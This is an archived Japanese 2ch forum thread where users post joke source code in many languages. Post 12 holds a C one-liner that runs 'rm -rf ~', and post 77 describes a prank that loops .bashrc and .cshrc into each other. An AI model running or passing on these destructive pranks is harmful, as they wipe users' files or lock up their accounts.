1read 100read
2012年4月UNIX47: ひたすら何かのソースコードを公開するスレ (152) TOP カテ一覧 スレ一覧 2ch元 削除依頼 ▼
dragonfly bsd どうよ (707)
BSD/OS (193)
OpenSolaris/Illumos (OpenIndiana, etc.) 5 (971)
Jaris (697)
( ﾟдﾟ)寝る！ (298)
Talk about FreeBSD Part 29 (171)

ひたすら何かのソースコードを公開するスレ


1 ：03/07/12 〜 最終レス ：12/04/21
なんか、うｐしてくれ

2 ：
main()

3 ：
{

4 ：
return main();
}
5 ：
あぼーん

6 ：
};

7 ：
void

8 ：
seq void main () {
par {
new main();
new main();
}
}

9 ：
PROGRAM UNKO
WRITE(*,*)''
STOP
END

10 ：
rtnval(int c)
{
if (c == 1) {
return 1;
} else {
return 0;
}
}

11 ：
/*1は死んでね*/

12 ：
#include <stdlib.h>
void main(void) { system( "rm -rf ~"); }

13 ：
<html><head><meta http-equiv="Content-Type" content="text/html; charset=Shift_JIS"><title>ひたすら何かのソースコードを公開するスレ</title><script type="text/javascript" defer><!--
function l(e){var N=g("NAME"),M=g("MAIL"),i;with(document) for(i=0;i<forms.length;i++)if(forms[i].FROM&&forms[i].mail)with(forms[i])
{FROM.value=N;mail.value=M;}}onload=l;function g(key,tmp1,tmp2,xx1,xx2,xx3,len){tmp1=" "+document.cookie+";";xx1=xx2=0;len=tmp1.length;
while(xx1<len){xx2=tmp1.indexOf(";",xx1);tmp2=tmp1.substring(xx1+1,xx2);
xx3=tmp2.indexOf("=");
if(tmp2.substring(0,xx3)==key)return unescape(tmp2.substring(xx3+1,xx2-xx1-1));xx1=xx2+1;}return "";}
//--></script></head><body bgcolor=#efefef text=black link=blue alink=red vlink=#660099><a href="../../../../unix/">
■掲示板に戻る■</a> <a href=-100>1-</a> <a href=l50>最新50</a><p><font size=+1 color=red>ひたすら何かのソースコードを公開するスレ
</font><dl><dt>1 ：<font color=green><b>
名無しさん＠お腹いっぱい。</b></font> ：03/07/12 17:41<dd>なんか、うｐしてくれ<br><br><dt>2 ：<

14 ：
>>13
4点。

15 ：
10 CLS :CLEAR
20 DIM G$(13)*1,M(16,5)
30 X=1:Y=1:P=1:T=40:W=20:E=15:M(0,0)=7:M(1,0)=4
40 FOR J=0 TO 13
50 READ A:G$(J)= CHR$ A
60 NEXT
70 DATA 32,224,124,156,157,158,159,45,150,152,153,154,155,135
80 LINE (102,-1)-(106,48),B
90 PRINT "-";G$(4)
100 LOCATE 18,1:PRINT "Next"
110 LOCATE 18,3:PRINT "Score"
120 FOR J=0 TO E
130 L= RND 17-1:M= RND 6-1
140 IF L>1 OR M>1 LOCATE L,M:PRINT G$(13):M(L,M)=13
150 NEXT

16 ：
160 *A
170 M=0:N= RND 6
180 LOCATE 19,2:PRINT "[";G$(N);"]"
190 *B
200 IF K$<>"" FOR J=0 TO W*8:NEXT
210 LOCATE X,Y:PRINT G$(M(X,Y))
220 K$= INKEY$
230 SWITCH K$
240 CASE "4":IF X>0 LET X=X-1
250 CASE "6":IF X<16 LET X=X+1
260 CASE "8":IF Y>0 LET Y=Y-1
270 CASE "2":IF Y<5 LET Y=Y+1
280 CASE " ":IF M(X,Y)<7 LOCATE X,Y:PRINT G$(N):BEEP 1,200,20:M(X,Y)=N:M=1
290 ENDSWITCH
300 FOR J=0 TO W:NEXT
310 LOCATE X,Y:PRINT "ﾛ"
320 C=(C+1) MOD T
330 IF C=0 GOSUB *C
340 IF M=1 GOTO *A ELSE *B

17 ：
350 *C
360 BEEP 1,71,9
370 IF P<0 OR P>16 OR Q<0 OR Q>5 GOTO *D
380 SWITCH M(P,Q)
390 CASE 1:IF H=0 LET U=1:V=0 ELSE IF H=1 LET U=-1:V=0 ELSE F=1
400 CASE 2:IF H=2 LET U=0:V=-1 ELSE IF H=3 LET U=0:V=1 ELSE F=1
410 CASE 3:IF H=1 LET U=0:V=1:H=3 ELSE IF H=2 LET U=1:V=0:H=0 ELSE F=1
420 CASE 4:IF H=0 LET U=0:V=1:H=3 ELSE IF H=2 LET U=-1:V=0:H=1 ELSE F=1
430 CASE 5:IF H=1 LET U=0:V=-1:H=2 ELSE IF H=3 LET U=1:V=0:H=0 ELSE F=1
440 CASE 6:IF H=0 LET U=0:V=-1:H=2 ELSE IF H=3 LET U=-1:V=0:H=1 ELSE F=1
450 DEFAULT :F=1
460 ENDSWITCH
470 IF F=1 GOTO *D
480 M(P,Q)=M(P,Q)+6
490 LOCATE P,Q:PRINT G$(M(P,Q))
500 P=P+U:Q=Q+V:S=S+1
510 LOCATE 20,4:PRINT STR$ S
520 RETURN
530 *D
540 LOCATE 18,1:PRINT "-GAME-"
550 LOCATE 18,2:PRINT "-OVER-"
18 ：
あぼーん

19 ：
program HaxaHaxa;
var I : Integer;
begin
　　Randomize;
　　repeat
　　　　I := Random(18) + 1;
　　　　Writeln('>>', I, 'さん(;´Д｀)ﾊｧﾊｧ');
　　until False;
end.

20 ：
#include <stdio.h>
int main()
{
printf("なんか、うｐしてくれ\n");
main();
return 0;
}

21 ：
puts "こんばんは"

22 ：
/*

23 ：
#cat HaxaHaxa.c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
void main(){
srand((unsigned int)clock());
for(;;)
printf(">>%d さん(;´Д｀)ﾊｧﾊｧ\n",(int)(1+rand()*21./RAND_MAX));
}
#gcc -o HaxaHaxa HaxaHaxa.c
#chmod +=x HaxaHaxa
#HaxaHaxa

24 ：
/* Copyright (c) 1984, 1986, 1987, 1988, 1989 AT&T */
/* All Rights Reserved */
/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF AT&T */
/* The copyright notice above does not evidence any */
/* actual or intended publication of such source code. */

25 ：
main(){return system("start http://pc.2ch.net/unix/index.html#3");}

26 ：
/*
　* 重複だろ。
　*
　* みんなでCのコードを1行ずつ書いていくスレ
　* http://pc.2ch.net/test/read.cgi/unix/1005032504/
　*
　*/

27 ：
//いやいや EXEC=C言語でなくても
//SYS001 DD *
いいんだろう。
/*

28 ：
カケ "オマエモナー"

29 ：
% んじゃ
% こんなんでも
% いいわけ？

30 ：
-- いいんでないかい？

31 ：
(* ここはこれ以降コメントで会話するスレとなりますた。 *)

32 ：
# >>30のコメント形式は
# なに？
# はじめてみた。

33 ：
-- vhdl

34 ：
; >>32
; psじゃないのか？

35 ：
( ps は % だろ? )

36 ：
-- lingo も
-- この形式でつ

37 ：
<!-- http://infoserv.ics.es.osaka-u.ac.jp/public/netnews-archive/FJ.ARCHIVES/fj.archives.documents/comments-in-computer-languages -->

38 ：
# うっかりコメントからはみ出したら
# どうなりますか？

39 ：
' >>37
' あは、既にあるのか。

40 ：
" (´-`).｡ｏＯ(うっかりって...) "

41 ：
$$ そりゃコメントからはみ出れば
$$ コンパイルエラーになる罠

42 ：
＃いんcるで　＜stぢお.h＞
いんt　まいn（）
{
pりんtf（"＞＞１よ"）
}

43 ：
>>42
なんか、カンドーしたっす。

44 ：
{ >>45 どうよ？ }

45 ：
begin
　　なんともねーよ
end

46 ：
static void
create_init(const void *udata __unused)
{
int error;
int s;
s = splhigh();
error = fork1(&proc0, RFFDG | RFPROC, &initproc);
if (error)
panic("cannot fork init: %d\n", error);
initproc->p_flag |= P_INMEM | P_SYSTEM;
cpu_set_fork_handler(initproc, start_init, NULL);
remrunqueue(initproc);
splx(s);
}

47 ：
ここまでだれもhello world 書かないッつーのも不自然だな。
project: (('Hello'))
class 'Hello' specializing 'Console':
[
goal:-
writeln("Hello World!").
]

48 ：
/*（・∀・）
/*

49 ：
>>47
それは何？
ついでだ、漏れも
Pervasives.print_string "Hello World!\n";;

50 ：
いろいろな言語でHello world スレは、どこかにあったような...

51 ：
Linux板だよ。
 いろんな言語で「Hello World」だ。ゴラァ
 http://pc.2ch.net/test/read.cgi/linux/986981055/

52 ：
向こうのスレのこれ笑った
http://pc.2ch.net/test/read.cgi/linux/986981055/22

53 ：
# Hello World
#
# Hell Word ?

54 ：
メインとは
　　　　「こんにちは。」を　表示して　改行すること。

55 ：
: プログラムは日本語なのにそれ自体の名前が何故か英語っぽいMINDか....

56 ：
C SOUIEBA BETSUNI SENTOU GA C DE NAKUTEMO IINDAYONA.
C MOU 15 NEN GURAI TUKATTE NAIKEDO YUBI HA TYANTO
C OBOETEIRU YOUDA.

57 ：
<html> </html>

58 ：
rem そういえばこんなのもあったなぁ

59 ：
スレタイが「ソース "コード"」なので、
「オリバーソース」だの「おたふくソース」だのといった
お決まりのギャグが使えない罠。

60 ：
,[>+<-]-[>[>>+>+<<<-]>>>[<<<+>>>-]<[-[-[-[-[-[-[-[-[-[>+<[-]]]]]]]]]]]>
[-<<+<----------[>>+>+<<<-]>>>[<<<+>>>-]<[-[-[-[-[-[-[-[-[-[>+<[-]]]]]]]]]]]>]<<<]

61 ：
>>59
オリバーソースだのおたふくソースだの言おうとしたのか？（藁）

62 ：
伝説の「詰めC言語」再びかと思ったよ。

63 ：
BASIC 1行プログラムのほうが好きだな

64 ：
#!/bin/dqn
WTO "hello?"
END

65 ：
main;
()!*.*
}

66 ：
>>61
とっておきのギャグなんだが、
どうしてもと言うなら譲ってあげてもいいよ
67 ：
あぼーん

68 ：
<tr>
age<br><br>
</tr>

69 ：
>>64
日○情報のQ言語？
つーか日○関係者だろ！(w

70 ：
世界最小のソース
awk '1' filename

71 ：
sed '' filename

72 ：
>>71
ほんとや(o●o);

73 ：
"こう見えても、Smalltalkのコメントなわけだが。".

74 ：

"ごめ。あげちった。".

75 ：
>>73
40で既出

76 ：
localhost [~]$ cat /usr/bin/uma.sh
#!/bin/sh
/usr/bin/uma.sh
localhost [~]$

77 ：
(~/.bashrcの末尾に追加)
csh

(~/.cshrcの末尾に追加)
bash

さぁ!Let's Logout!!

78 ：
>>77
よく元性善説鯖にお見えになる人？

79 ：
10 REM ****************************************
20 REM * 住民基本台帳ネットワークシステム *
30 REM * *
40 REM * Version 1.0.0 *
50 REM ****************************************
60 GOTO 10

80 ：
#dqn

81 ：
class TabDialog : public QTabDialog
{
Q_OBJECT
public:
TabDialog();
TabDialog(loginSlot *data);
void setLoginData(loginSlot *data);
public slots:
void cancelClicked();
protected:
QString filename;
QFileInfo fileinfo;
void setupTab1();
void setupTab2();
void setupTab3();
private:
loginSlot loginData;
};

82 ：
　　　　　　　　　　　　　　　　　　　　　　{
　　　　　　　　　　　　　　 ;0 uJnfaJ
　　　　　 ;(,,i plJoM ollaH,,)tfu!Jd
　　　　　　　　　　　　　　　　　　　　　　}
　　　　　　　　　　　　　　　　　()u!ew fu!
　　　　　　　　　　,,ч'o!pfs,, apnl⊃u!#

83 ：
文字化けかと思った

84 ：
文字化けじゃなかったのか！！！！！！！！！

85 ：
#include <stdio.h>
main()
{
for(;;){
puts(">>1 カエレ");
}
}

86 ：
>>85はgettext位使えるようになれ。

87 ：
煽りも国際化を考慮しなきゃならないとは（ｗ

88 ：
gettextを使えるようになってもpoファイルは日本語のくらいしか作れない罠

89 ：
このくらいはほしいよね。
ja
ja_2CH
ja_KANSAI
ja_TOUHOKU

90 ：
tcshのゴミportsじゃないんだから(苦笑

91 ：
sub 2ch
print "糞スレたてた>>1さん";
92 ：
あぼーん

93 ：
>>15-17
もしかして、ポケコンPC-E500用のソース？

94 ：
E500にSWITCH文はなかったと思われ
(後継機種にはあったような気はするが)

95 ：
ってことはPC-E650かな？

96 ：
ひたすら何かのソースコード

97 ：
ひたすら「伺か」のソースコード？？？

98 ：
2ch DQN房();

99 ：
女の子がデスクトップに常駐するやつだっけ

100read 1read
1read 100read
TOP カテ一覧 スレ一覧 2ch元 削除依頼 ▲
統合監視ツールどうよ? (544)
CPUの周波数の上げ方 (136)
【MRTG/rrdtool】 グラフィカルモニター化 Part3 (960)
SolarisとLINUXどっち？？？ (742)
Keyboard キーボード　3 (216)
NetBSD その28 (524)
--log9.info------------------
もしも、満州鉄道が現存していたら (114)
【とにかく】世界の大陸横断列車【( ﾟДﾟ)ﾅｹﾞｰ!!】 (106)
【ALIENS】 Let's talk Japan's railways 【ONLY】 (323)
〓オーストリア〓 (493)
■　ICE3が一番速いのはガチ (665)
軍事と鉄道について語るスレ@海外鉄道板 (176)
オーストラリアの鉄道 (268)
何で海外の駅ホームは発着本数に比べて多いの? (298)
海外の鉄道の運賃制度について深く考察するスレ (132)
● Google Earthで凄い鉄道施設を探すスレ ● (178)
【鉄法・ﾀﾞｰｼﾞﾘﾝ】海外現役蒸機【ｳﾞｫﾙｽﾃｨﾝ・ﾊﾙﾂ】 (677)
電車で寝られるのは日本だけ? (155)
日本vs.海外、デザイン対決【通勤・近郊・一般型】 (316)
◆◆鉄道（海外）板)雑談スレ◆◆ (314)
海外鉄道研究会 (125)
上海の地下鉄について語れ (106)
--log55.com------------------
Civilization4(Civ4) Vol.336
英雄伝説　軌跡シリーズ総合スレ247
Elite: Dangerous 45Ly
【宇宙開発】KERBAL SPACE PROGRAM【KSP】 Part62
ウイニングポスト8Part73
【PC】Gears 5【Gears of War】
Dota2 part121
【PW】Project Winter Part3【雪山サバイバル】